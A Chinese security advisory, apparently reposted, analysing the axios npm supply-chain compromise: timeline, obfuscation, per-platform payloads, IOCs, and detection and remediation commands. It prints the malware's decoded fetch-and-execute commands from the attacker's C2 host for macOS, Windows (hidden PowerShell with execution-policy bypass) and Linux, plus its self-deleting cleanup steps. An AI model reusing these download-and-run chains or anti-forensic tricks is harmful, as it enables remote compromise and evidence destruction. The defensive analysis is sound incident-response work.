Axios供应链投毒安全事件预警与排查报告

admin 2026-04-02 04:22:25 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 报告详细分析了Axios供应链投毒事件。攻击者劫持了axios维护者的npm账号,发布了恶意版本(1.14.1和0.30.4),这些版本通过注入幽灵依赖[email protected],在安装时投放跨平台远程访问木马(RAT)。攻击利用了postinstall脚本执行混淆的setup.js,该脚本会根据不同操作系统(macOS、Windows、Linux)下载并执行特定载荷,并发送伪装成npm通信的C2请求。完成投毒后,恶意代码会自动清理痕迹以销毁证据。 综合评分: 95 文章分类: 供应链安全,恶意软件,漏洞预警,应急响应,网络安全


cover_image

Axios 供应链投毒安全事件预警与排查报告

猎户攻防实验室

2026年3月31日 14:26 北京

字数 3099,阅读大约需 16 分钟

Axios 供应链投毒安全事件预警与排查报告

一、事件概述

2026 年 3 月 31 日,安全研究机构 StepSecurity 发现 JavaScript 生态中最广泛使用的 HTTP 客户端库 axios 遭遇供应链攻击。攻击者劫持了 axios 首席维护者 jasonsaayman 的 npm 账号,成功向 npm 注册表发布了两个恶意版本。攻击者在 axios 源码中未注入任何恶意代码,而是通过注入一个幽灵依赖 [email protected],利用其 postinstall 脚本在安装时静默投放跨平台 RAT(远程访问木马)。

如果已安装 [email protected] 或 [email protected],请假设系统已被控制。


二、攻击时间线

整个攻击预置时间跨度约 18 小时,展现了高度成熟的运营能力:

| 时间(北京时间) | 事件 | 详情 | | — | — | — | | 2026-03-30 13:57 | [email protected] 发布 | 由攻击者账号 [email protected] 发布。这是一个干净的伪装包,包含合法 crypto-js 源码的完整副本,无 postinstall 钩子。唯一目的是建立 npm 发布历史,使后续恶意版本在审查时不至于被标记为”零历史新包”。 | | 2026-03-31 07:59 | [email protected] 发布 | 同一攻击者账号发布恶意载荷版本postinstall: "node setup.js" 钩子和混淆投放器被引入。同时预置了 package.md(干净伪装的 package.json 存根),为后续自清理做准备。 | | 2026-03-31 08:21 | [email protected] 发布 | 被劫持的 jasonsaayman 账号(邮箱已被改为 [email protected])手动通过 npm CLI 发布。注入 plain-crypto-js@^4.2.1 为运行时依赖,目标为 1.x 现代用户群。 | | 2026-03-31 09:00 | [email protected] 发布 | 同一被劫持账号发布。两个版本分支在 39 分钟内被同时投毒,最大化覆盖面。 | | 2026-03-31 ~09:30 | StepSecurity 检测到异常 | StepSecurity AI Package Analyst 和 Harden-Runner 在运行时验证中捕获到 C2 通信,确认为恶意包。 | | 2026-03-31 ~10:00+ | 社区响应 | 安全研究员 @feross 等人在社交媒体发出公开预警。npm 官方开始处理。 |

所有合法的 axios 1.x 版本均通过 GitHub Actions + npm OIDC Trusted Publisher 机制发布,发布行为与特定 GitHub Actions 工作流密码学绑定。[email protected] 完全打破了这一模式——通过窃取的长期经典 npm Access Token 手动发布,没有 OIDC 绑定,GitHub 仓库中也不存在对应的 commit 或 tag。该版本仅存在于 npm 注册表中


三、攻击链路详细技术分析

3.1 整体攻击链

3.2 幽灵依赖注入

axios 源码中 plain-crypto-js 从未被 import 或 require()。对比依赖差异:

| 版本 | 依赖列表 | 状态 | | — | — | — | | [email protected] | follow-redirects, form-data, proxy-from-env | 安全 | | [email protected] | follow-redirects, form-data, proxy-from-env, plain-crypto-js@^4.2.1 | 恶意 | | [email protected] | follow-redirects, form-data, proxy-from-env | 安全 | | [email protected] | follow-redirects, form-data, proxy-from-env, plain-crypto-js@^4.2.1 | 恶意 |

仅新增了一个从未被使用的依赖

3.3 投放器 setup.js 混淆技术

setup.js 是一个单文件混淆投放器,采用 双层混淆方案

字符串编码数组 stq[] — 所有敏感字符串(模块名、OS 标识符、Shell 命令、C2 URL、文件路径)均以编码值存储。

解密函数:

  • • _trans_1(x, r) — XOR 密码。密钥 "OrDeR_7077" 通过 JavaScript Number() 解析:字母产生 NaN(位运算中变为 0),仅第 6-9 位的数字 7,0,7,7 保留,有效密钥为 [0,0,0,0,0,0,7,0,7,7]。每个字符按位置 r 解码为:
  charCode XOR key[(7 × r × r) % 10] XOR 333
  • • _trans_2(x, r) — 外层:反转编码字符串 → 将 _ 替换为 = → Base64 解码(以 UTF-8 恢复 Unicode 码点)→ 传入 _trans_1 二次解密。

入口点: _entry("6202033"),其中 6202033 是 C2 URL 路径段。

完全解码后的关键字符串:

stq[0]  → "child_process"          // Shell 执行
stq[1]  → "os"                      // 平台检测
stq[2]  → "fs"                      // 文件系统操作
stq[3]  → "http://sfrclak.com:8000/" // C2 基础 URL
stq[5]  → "win32"                   // Windows 平台标识
stq[6]  → "darwin"                  // macOS 平台标识
stq[12] → "curl -o /tmp/ld.py -d packages.npm.org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 &"
stq[13] → "package.json"            // 执行后删除
stq[14] → "package.md"              // 干净存根重命名为 package.json
stq[15] → ".exe"
stq[16] → ".ps1"
stq[17] → ".vbs"

四、平台特定载荷详细分析

4.1 macOS — AppleScript 投放器

触发条件: os.platform() === "darwin"

执行链:

do shell script "curl -o /Library/Caches/com.apple.act.mond \
  -d packages.npm.org/product0 \
  -s http://sfrclak.com:8000/6202033 \
  && chmod 770 /Library/Caches/com.apple.act.mond \
  && /bin/zsh -c \"/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &\" \
  &> /dev/null"

执行方式: nohup osascript "<temp_file>" > /dev/null 2>&1 &

C2 POST Body: packages.npm.org/product0

持久化文件: /Library/Caches/com.apple.act.mond

伪装策略:

  • • /Library/Caches/ 是系统级缓存目录,在事件响应中极少被检查
  • • com.apple.act.mond 模仿 Apple 反向 DNS 守护进程命名惯例
  • • 后缀 mond 可能是 “Activity Monitor Daemon” 的缩写,与该目录下的合法 Apple 后台进程混在一起

临时文件: AppleScript 临时文件执行后自动删除

4.2 Windows — VBScript + PowerShell 三阶段投放器

触发条件: os.platform() === "win32"

三阶段执行链:

阶段 1 — 定位并复制 PowerShell:

where powershell → 复制到 %PROGRAMDATA%\wt.exe

将 PowerShell 二进制伪装为 Windows Terminal 可执行文件,提供持久化的解释器副本。

阶段 2 — 生成并执行 VBScript:

Set&nbsp;objShell =&nbsp;CreateObject("WScript.Shell")
objShell.Run&nbsp;"cmd.exe /c curl -s -X POST "&nbsp;& _
&nbsp;&nbsp;"-d ""packages.npm.org/product1"" "&nbsp;& _
&nbsp;&nbsp;"""http://sfrclak.com:8000/6202033"" > ""%TEMP%\6202033.ps1"" "&nbsp;& _
&nbsp;&nbsp;"& powershell -w hidden -ep bypass -file ""%TEMP%\6202033.ps1"" "&nbsp;& _
&nbsp;&nbsp;"""http://sfrclak.com:8000/6202033"" & del ""%TEMP%\6202033.ps1"" /f",&nbsp;0,&nbsp;False

执行方式: cscript //nologo %TEMP%\6202033.vbs

  • • 0, False — 完全隐藏 cmd.exe 窗口,无任何 UI 输出

阶段 3 — PowerShell RAT 执行:

powershell -WindowStyle Hidden -ExecutionPolicy Bypass -file %TEMP%\6202033.ps1 http://sfrclak.com:8000/6202033

C2 POST Body: packages.npm.org/product1

文件系统产物:

| 文件 | 用途 | 生命周期 | | — | — | — | | %PROGRAMDATA%\wt.exe | 持久化的 PowerShell 解释器副本 | 持久 — 唯一残留 | | %TEMP%\6202033.vbs | VBScript 启动器 | 自删除 — 执行后自动删除 | | %TEMP%\6202033.ps1 | PowerShell RAT 脚本 | 自删除 — 执行后自动删除 |

文件名 6202033 直接使用 C2 路径段(Campaign ID),是攻击者行动标识。

4.3 Linux — Python 直接投放器

触发条件: 所有其他平台(Linux 等)

执行链:

curl -o /tmp/ld.py \
&nbsp; -d packages.npm.org/product2 \
&nbsp; -s http://sfrclak.com:8000/6202033 \
&&&nbsp;nohup&nbsp;python3 /tmp/ld.py http://sfrclak.com:8000/6202033 > /dev/null 2>&1 &

执行方式: Node.js execSync() 直接执行 Shell 命令

C2 POST Body: packages.npm.org/product2

持久化文件: /tmp/ld.py — 保留在磁盘上(使用 nohup 后台运行)

4.4 C2 通信设计

三个平台发送不同的 POST Body 到同一 C2 端点:

| 平台 | POST Body | 返回载荷 | | — | — | — | | macOS | packages.npm.org/product0 | macOS RAT 二进制 | | Windows | packages.npm.org/product1 | PowerShell RAT 脚本 | | Linux | packages.npm.org/product2 | Python RAT 脚本 |

packages.npm.org/ 前缀是刻意伪装——使出站流量在网络日志和 SIEM 规则中一眼看去像正常的 npm 注册表通信


五、自清理机制 — 证据销毁

载荷投放完成后,setup.js 执行三步法医清理:

步骤 1: fs.unlink(__filename) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; → 删除 setup.js 自身
步骤 2: fs.unlink("package.json") &nbsp; &nbsp; &nbsp; &nbsp;→ 删除含 postinstall 钩子的清单
步骤 3: fs.rename("package.md", "package.json") → 干净存根替换

效果: 事后检查 node_modules/plain-crypto-js/package.json 将显示完全干净的清单(版本 4.2.0,无 postinstall,无 setup.js 引用)。运行 npm audit 或手动审查已安装包目录不会发现任何异常

关键排查线索: 即使清理完成后,node_modules/plain-crypto-js/ 目录的存在本身就是被入侵的证据——该包不是任何合法 axios 版本的依赖。如果发现此目录,说明投放器已经执行。


六、IOC — 完整威胁指标清单

7.1 恶意 npm 包

| 包名 | 版本 | SHA1 | | — | — | — | | axios | 1.14.1 | 2553649f2322049666871cea80a5d0d6adc700ca | | axios | 0.30.4 | d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71 | | plain-crypto-js | 4.2.1 | 07d889e2dadce6f3910dcbc253317d28ca61c766 | | plain-crypto-js | 4.2.0 | (干净伪装包,用于建立发布历史) |

7.2 安全版本参考

| 包名 | 安全版本 | SHA1 | | — | — | — | | axios | 1.14.0 | 7c29f4cf2ea91ef05018d5aa5399bf23ed3120eb | | axios | 0.30.3 | ab1be887a2d37dd9ebc219657704180faf2c4920 |

7.3 网络指标

| 类型 | 值 | | — | — | | C2 域名 | sfrclak.com | | C2 IP | 142.11.206.73 | | C2 URL | http://sfrclak.com:8000/6202033 |

7.4 文件系统指标

| 平台 | 路径 | 类型 | 说明 | | — | — | — | — | | macOS | /Library/Caches/com.apple.act.mond | 持久 | macOS RAT 二进制,伪装为 Apple 系统缓存守护进程 | | Windows | %PROGRAMDATA%\wt.exe | 持久 | PowerShell 解释器副本,伪装为 Windows Terminal | | Windows | %TEMP%\6202033.vbs | 临时(自删除) | VBScript 启动器,执行后自动删除 | | Windows | %TEMP%\6202033.ps1 | 临时(自删除) | PowerShell RAT 脚本,执行后自动删除 | | Linux | /tmp/ld.py | 持久 | Python RAT 脚本,nohup 后台运行后保留在磁盘 | | 全平台 | node_modules/plain-crypto-js/setup.js | 已删除 | 投放器主体,自清理删除 | | 全平台 | node_modules/plain-crypto-js/package.md | 残留 | 原为干净存根,已被重命名为 package.json |

7.5 攻击者控制账号

| 账号 | 类型 | 邮箱 | | — | — | — | | jasonsaayman | 被劫持的合法 axios 维护者账号 | 邮箱被改为 [email protected] | | nrwise | 攻击者创建的一次性账号 | [email protected] |


八、排查指南

8.1 依赖检查

# 检查 axios 版本
npm list axios 2>/dev/null | grep -E&nbsp;"1\.14\.1|0\.30\.4"
grep -A1&nbsp;'"axios"'&nbsp;package-lock.json | grep -E&nbsp;"1\.14\.1|0\.30\.4"

# 检查 yarn.lock
grep&nbsp;'[email protected]\|[email protected]'&nbsp;yarn.lock

# 检查 pnpm-lock.yaml
grep&nbsp;'[email protected]\|[email protected]'&nbsp;pnpm-lock.yaml

# 关键检查:plain-crypto-js 目录是否存在(即使 package.json 已被替换)
ls&nbsp;node_modules/plain-crypto-js 2>/dev/null &&&nbsp;echo&nbsp;"POTENTIALLY AFFECTED"

8.2 系统层面排查

macOS

# 检查 RAT 二进制
ls&nbsp;-la /Library/Caches/com.apple.act.mond 2>/dev/null &&&nbsp;echo&nbsp;"COMPROMISED"

# 检查异常进程
ps aux | grep -i&nbsp;"com.apple.act.mond"

# 检查文件哈希
shasum /Library/Caches/com.apple.act.mond 2>/dev/null

Linux

# 检查 RAT 脚本
ls&nbsp;-la /tmp/ld.py 2>/dev/null &&&nbsp;echo&nbsp;"COMPROMISED"

# 检查异常进程
ps aux | grep -i&nbsp;"ld.py"

# 检查文件内容
head&nbsp;-20 /tmp/ld.py 2>/dev/null

Windows

# 检查持久化文件
Test-Path"$env:PROGRAMDATA\wt.exe"
Get-Item"$env:PROGRAMDATA\wt.exe"-ErrorAction&nbsp;SilentlyContinue

# 检查文件哈希
Get-FileHash"$env:PROGRAMDATA\wt.exe"-Algorithm&nbsp;SHA256

# 检查异常进程
Get-Process&nbsp;|&nbsp;Where-Object&nbsp;{&nbsp;$_.Path&nbsp;-eq"$env:PROGRAMDATA\wt.exe"&nbsp;}

# 注意:临时文件 6202033.vbs 和 6202033.ps1 已自删除
# 但可通过事件日志和 Prefetch 追溯
Get-WinEvent-FilterHashtable@{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} |
Where-Object&nbsp;{&nbsp;$_.Message&nbsp;-match'6202033'&nbsp;}

# 检查 PowerShell Script Block 日志
Get-WinEvent-LogName"Microsoft-Windows-PowerShell/Operational"-MaxEvents1000&nbsp;|
Where-Object&nbsp;{&nbsp;$_.Message&nbsp;-like"*sfrclak*"-or$_.Message&nbsp;-like"*6202033*"&nbsp;}

8.3 网络层排查

# DNS 查询历史
grep&nbsp;"sfrclak"&nbsp;/var/log/dns.log 2>/dev/null
grep&nbsp;"sfrclak"&nbsp;/var/log/syslog 2>/dev/null

# 出站连接
netstat -antp | grep&nbsp;"142.11.206.73"
netstat -antp | grep&nbsp;"8000"
ss -antp | grep&nbsp;"sfrclak"

# 防火墙日志
grep&nbsp;"sfrclak\|142.11.206.73"&nbsp;/var/log/firewall.log 2>/dev/null

# HTTP 代理日志
grep&nbsp;"packages.npm.org/product"&nbsp;/var/log/squid/access.log 2>/dev/null

8.4 CI/CD 管道排查

# GitHub Actions 日志
grep -r&nbsp;"axios.*1.14.1\|axios.*0.30.4"&nbsp;.github/
grep -r&nbsp;"sfrclak\|142.11.206.73"&nbsp;.github/

# 检查 Docker 镜像
docker&nbsp;history&nbsp;<image> | grep axios
docker run --rm&nbsp;<image> sh -c&nbsp;"npm ls axios 2>/dev/null; ls node_modules/plain-crypto-js 2>/dev/null"

# 检查制品仓库缓存(Artifactory/Nexus)
# 需通过各平台 API 查询是否存在 [email protected] 或 [email protected] 的缓存

# 检查 CI/CD 中是否有 npm install 执行记录拉取了受影响版本
# 任何安装了受影响版本的 Pipeline 均应视为已被入侵

九、应急处置措施

9.1 立即行动

# 1. 回退 axios 并锁定版本
npm install [email protected] &nbsp;&nbsp;# 1.x 用户
npm install [email protected] &nbsp;&nbsp;# 0.x 用户

# 2. 添加 overrides 防止传递依赖解析回恶意版本
# package.json:
{
"dependencies": {&nbsp;"axios":&nbsp;"1.14.0"&nbsp;},
"overrides": &nbsp; &nbsp;{&nbsp;"axios":&nbsp;"1.14.0"&nbsp;},
"resolutions": &nbsp;{&nbsp;"axios":&nbsp;"1.14.0"&nbsp;}
}

# 3. 移除恶意依赖并重新安装
rm&nbsp;-rf node_modules/plain-crypto-js
npm cache clean --force
rm&nbsp;-rf node_modules package-lock.json
npm install --ignore-scripts

# 4. 阻断 C2 通信
iptables -A OUTPUT -d 142.11.206.73 -j DROP
echo"0.0.0.0 sfrclak.com"&nbsp;>> /etc/hosts

9.2 凭据轮换

如果确认安装了恶意版本,必须假设系统已被完全控制

  • • 轮换所有 npm Access Token
  • • 轮换 GitHub Personal Access Token (PAT)
  • • 轮换 AWS Access Key / Secret Key
  • • 轮换 GCP Service Account Key
  • • 轮换 Azure 凭据
  • • 轮换所有数据库连接字符串
  • • 轮换 SSH 私钥
  • • 轮换 CI/CD Secrets(GitHub Actions Secrets、GitLab CI Variables 等)
  • • 审计 .env 文件中所有可能被读取的密钥
  • • 重置 npm 账号密码,启用硬件 2FA
  • • 审计 GitHub 仓库 Webhook、Apps 和 OAuth 授权

9.3 系统重置(如已确认感染)

  • • 隔离受感染主机 — 立即断网
  • • 全盘取证 — 断网状态下导出内存镜像和磁盘镜像
  • • 不要尝试原地清理 — 重建已知安全状态
  • • 重新部署 — 使用已验证安全的制品重新部署

九、攻击特征总结

此次攻击是有记录以来对 Top-10 npm 包最成熟的供应链攻击之一

  1. 1. 预置 18 小时 — 恶意依赖提前发布以避免”新包”告警
  2. 2. 三平台预构建载荷 — macOS/Windows/Linux 各自独立的第二阶段载荷
  3. 3. 39 分钟双分支投毒 — 1.x 和 0.x 同时命中
  4. 4. 每条痕迹均设计为自毁 — setup.js 删除自身、替换 package.json
  5. 5. 进程树逃逸 — 使用 nohup 脱离父进程,规避进程归因
  6. 6. C2 伪装为 npm 流量 — POST Body 使用 packages.npm.org/ 前缀
  7. 7. 零源码修改 — axios 源码中无一行恶意代码,仅通过幽灵依赖触发

十、参考来源

  • • StepSecurity — axios Compromised on npm: Full Technical Analysis https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:猎户攻防实验室 null《Axios 供应链投毒安全事件预警与排查报告》

评论:0   参与:  0